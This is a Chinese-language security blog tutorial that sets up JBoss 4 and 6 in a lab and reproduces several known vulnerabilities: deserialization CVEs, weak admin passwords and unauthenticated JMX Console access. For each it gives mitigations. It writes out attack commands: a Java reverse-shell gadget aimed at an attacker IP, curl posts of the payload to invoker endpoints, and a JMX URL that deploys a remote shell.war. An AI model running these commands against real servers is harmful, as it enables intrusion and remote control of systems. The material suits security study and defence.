<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【超詳細】JBoss中間件漏洞總結

    VSole2021-08-31 08:40:35

    一.Jboss簡介

    Jboss是一個基于J2EE的開放源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。

    默認端口:8080

    二.Jboss安裝

    下載地址:https://jbossas.jboss.org/downloads/


    1.安裝jdk

    這里用了兩臺機子,一臺安裝老版本Jboss4,jdk選1.6,一臺安裝Jboss6.jdk選1.7

    這里可以注意一下jboss5-7可以被jdk7支持,jboss4可以被jdk6支持;使用jdk8的話訪問JMX-console會報500;

    安裝jdk步驟網上教程很多,我就不寫了,這里已經裝好。

    image-20210819161330082

    image-20210819161353705

    2.下載并安裝Jboss6

    下載jboss-6.1.0.Final:

    image-20210819150959561

    將其拉入虛擬機c盤

    image-20210820101410679

    新建環境變量:

    JBOSS_HOME值為C:\jboss-6.1.0.Final
    

    image-20210820101555697

    path中加入:

    ;%JBOSS_HOME%\bin;
    

    image-20210820101919780

    在該目錄下雙擊run.bat啟動

    C:\jboss-6.1.0.Final\bin
    

    image-20210820102031667

    出現info即為啟動成功,本地可成功訪問。

    image-20210820102615856

    此時遠程訪問是訪問不了的,我們需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置實現外網訪問。將address="${jboss.bind.address}"改成address="0.0.0.0"

    image-20210820105055554

    保存后重啟jboss,即可實現外網訪問;

    image-20210820105424802

    3.下載并安裝Jboss4

    Jboss4和Jboss6的安裝步驟一樣,唯一不同的是在外網訪問的配置文件上修改的地方不太一樣;

    image-20210820135311614

    進去下面目錄,修改server.xml,如下圖成功訪問

    C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer
    

    image-20210820135514710

    image-20210820135718708

    三.Jboss滲透

    1.Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)

    漏洞原理

    該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了攻擊者可以在服務器上執行任意代碼。


    影響版本

    Jboss AS 5.x 
    Jboss AS 6.x
    

    漏洞驗證

    訪問/invoker/readonly,返回500(內部服務器錯誤——服務器端的CGI、ASP、JSP等程序發生錯誤),說明此頁面存在反序列化漏洞

    image-20210820144055866

    漏洞復現

    下載漏洞利用工具:https://github.com/joaomatosf/JavaDeserH2HC

    image-20210823090347902

    編譯(需要java環境)

    cd /opt
    curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
    tar zxvf jdk-8u20-linux-x64.tar.gz
    rm -rf /usr/bin/java*
    ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
    javac -version
    java -version
    

    這里我已經安裝好

    image-20210820144519927

    開啟監聽

    image-20210820144803249

    選擇一個Gadget:ReverseShellCommonsCollectionsHashMap,編譯并生成序列化數據;生成ReverseShellCommonsCollectionsHashMap.class;

    javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja
    va
    

    image-20210823090310580

    生成序列化數據ReverseShellCommonsCollectionsHashMap.ser

    java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192
    .168.10.65:12345
    

    image-20210823090832540

    利用ReverseShellCommonsCollectionsHashMap.ser,以二進制格式發送ReverseShellCommonsCollectionsHashMap.ser包

    curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    image-20210823091400586

    成功反彈shell。

    安全防護

    1.升級新版本。2.刪除http-invoker.sar 組件,路徑如下

    C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
    

    image-20210823093407062

    3.添加如下代碼至 http-invoker.sar 下 web.xml的security-constraint 標簽中,用于對 http invoker 組件進行訪問控制。

    /*
    

    路徑為:

    C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF
    

    image-20210823093730532

    image-20210823093707651

    2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

    漏洞原理

    JBoss中/invoker/JMXInvokerServlet路徑對外開放,JBoss的jmx組件支持反序列化。JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。


    影響版本

    JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
    JBoss AS (Wildly) 6 and earlier
    JBoss A-MQ 6.2.0
    JBoss Fuse 6.2.0
    JBoss SOA Platform (SOA-P) 5.3.1
    JBoss Data Grid (JDG) 6.5.0
    JBoss BRMS (BRMS) 6.1.0
    JBoss BPMS (BPMS) 6.1.0
    JBoss Data Virtualization (JDV) 6.1.0
    JBoss Fuse Service Works (FSW) 6.0.0
    JBoss Enterprise Web Server (EWS) 2.1,3.0
    

    漏洞驗證

    訪問/invoker/JMXInvokerServlet,返回如下頁面,說明接口開放,此接口存在反序列化漏洞。
    

    image-20210823092835771

    漏洞復現

    這里利用上面生成的序列化數據ReverseShellCommonsCollectionsHashMap.ser,發送到/invoker/JMXInvokerServlet接口中;

    curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseSh
    ellCommonsCollectionsHashMap.ser
    

    image-20210823093222160

    成功反彈shell。

    安全防護

    同上;

    3.JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

    漏洞原理

    這個漏洞與CVE-2015-7501一樣,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。差別在于CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。


    影響版本

    Jboss AS 4.x及之前版本
    

    漏洞驗證

    訪問/jbossmq-httpil/HTTPServerILServlet,出現如下頁面,說明存在該漏洞
    

    image-20210823094243623

    漏洞復現

    這里利用上面生成好的序列化數據,發送到改接口中:

    curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    image-20210823094553928

    成功反彈shell

    安全防護

    升級到最新版本。

    4.JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

    漏洞原理

    此漏洞和CVE-2015-7501漏洞原理相同,兩者的區別就在于兩個漏洞選擇的進行其中JMXInvokerServletEJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化并上傳構造的文件。


    影響版本

     jboss 6.x 版本
    

    漏洞驗證

    訪問/invoker/EJBInvokerServlet,如果可以訪問的到,說明存在漏洞
    

    image-20210823094955346

    漏洞復現

    還是利用上面生成的.ser文件,通過POST 二進制數據上去,反向連接shell

    curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    image-20210823095326056

    5.Administration Console 弱口令

    漏洞原理

    Administration Console管理頁面存在弱口令,登錄后臺可以上傳war包

    影響版本

    漏洞驗證

    image-20210823100247859

    漏洞復現

    admin/admin弱口令登錄,點擊add a new resource上傳war包

    image-20210823104115380

    點擊war包進入下一層,若狀態為stop,則點擊start,默認都是start,不需要點。

    image-20210823104345893

    蟻劍成功連接

    image-20210823104524819

    安全防護

    修改密碼,密碼文件路徑為

    C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
    

    或者刪除Administration Console頁面

    Jboss版本>=6.0,admin-console頁面路徑為

    C:\jboss-6.1.0.Final\common\deploy\admin-console.war
    

    6.0之前的版本,路徑為

    C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
    

    6.JMX Console未授權訪問漏洞

    漏洞原理

    訪問控制不嚴導致的漏洞,默認情況下訪問 http://ip:8080/jmx-console 就可以訪問管理控制臺,不需要輸入用戶名和密碼就可以直接瀏覽 JBoss 的部署管理的信息,部署上傳木馬,存在安全隱患。

    影響版本

    JBOSS 全版本
    

    漏洞驗證

    點擊主頁的JMX Console進入頁面

    漏洞復現

    Jboss4.x的復現:

    kali開啟遠程服務,為了下面部署war包

    image-20210823115736527

    進入JXM Console之后,找到jboss.deployment

    image-20210823111537878

    點進去找到void addURL(),輸入遠程war包鏈接之后,點擊invoke

    image-20210823121654413

    回到這個頁面上方,點擊Apply Changes

    image-20210823121833925

    返回到JMX Console頁面,等待一會,刷新后可以看見部署成功

    image-20210823122437357

    蟻劍成功連接

    image-20210823122620639

    Jboss6.x的復現:

    步驟差不多一樣

    image-20210823122818531

    在該頁面找到methodindex為17or19的deploy,填寫遠程war包的地址進行遠程部署

    image-20210823130424900

    image-20210823130758283

    image-20210823130823043

    image-20210823131048341

    或者是直接運行下面的語句部署即可

    http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.syst
    em:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war
    

    image-20210823131823568

    蟻劍成功連接

    image-20210823131009567

    部署的路徑為如下,可以看見自動部署出war中的文件。

    C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
    

    image-20210823131904293

    安全防護

    關閉jmx-console和web-console,提高安全性。

    7.JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

    漏洞原理

    此漏洞主要是由于JBoss/jmx-console/HtmlAdaptor路徑對外開放,并且沒有任何身份驗證機制,導致攻擊者可以進?到jmx控制臺,并在其中執?任何功能。

    影響版本

    Jboss4.x以下
    

    漏洞復現

    輸?url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()
    

    image-20210823133106427

    分別向四個參數傳入內容:

    p1傳入的部署war包的名字,p2傳入的是上傳文件的文件名,p3傳入的是上傳文件的格式,p4傳入的是上傳文件的內容

    image-20210823134213929

    點擊invoke

    image-20210823134234176

    經過測試,已經寫入,但是目錄底層不對,跳轉不過去,無法上線蟻劍,這是個問題,暫時保留,有師傅有解決方法可以告訴我一下,萬分感謝。

    image-20210823142321972

    image-20210823135236215

    安全防護

    目前官方已經發布了升級補丁以修復這個安全問題,請到官網的主頁下載:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036

    四.自動化滲透

    jexboss自動化滲透

    jexboss是針對jboss滲透自動化估計武器,是用于測試和利用JBoss Application Server和其他java平臺、框架、應用程序等中的漏洞的工具。

    下載地址:https://github.com/joaomatosf/jexboss

    這里演示的環境是我上面搭建的4.x和6.x的環境。

    輸入命令

    python jexboss.py -host http://192.168.10.213:8080/
    

    輸入yes即可

    image-20210823141601720

    image-20210823141649693

    成功交互。

    jbossjboss部署
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Jboss是一個基于J2EE的開放源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
    到達客戶現場后第一時間告知負責網絡相關的人員請勿對被篡改文件進行刪除或修改,這樣做的原因是方便后續對入侵途徑進行溯源分析。發生安全事件的服務器為Windows還是Linux或者其他的操作系統,確認好操作系統類型方便取證工作。是否為用戶誤操作所導致觸發告警。Windows系統下:使用“MD5校驗器”打開原有文件與疑似篡改文件,獲得MD5值后進行比對,如果兩文件MD5不一樣證明該文件被篡改。
    干貨|最全的Jboss漏洞復現筆記
    JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。
    環境搭建完成后,直接使用工具檢測即可:工具下載地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar 環境啟動以后,直接訪問http://you-ip:8080。
    JBoss是一個基于J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。由于JBoss遵循商業友好的LG
    0x00 前言這次滲透測試是從一個CVE開始的,從CVE到內網然后到域控!首先對發現了該站點有JBoss頁面,經過測試發現具有JBoss反序列化漏洞。使用網上提供的EXP和利用方法,在VPS上面獲取了一個shell。
    這篇文章主要收集一些常見的未授權訪問漏洞。未授權訪問漏洞可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷導致其他用戶可以直接訪問從而引發重要權限可被操作、數據庫或網站目錄等敏感信息泄露。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类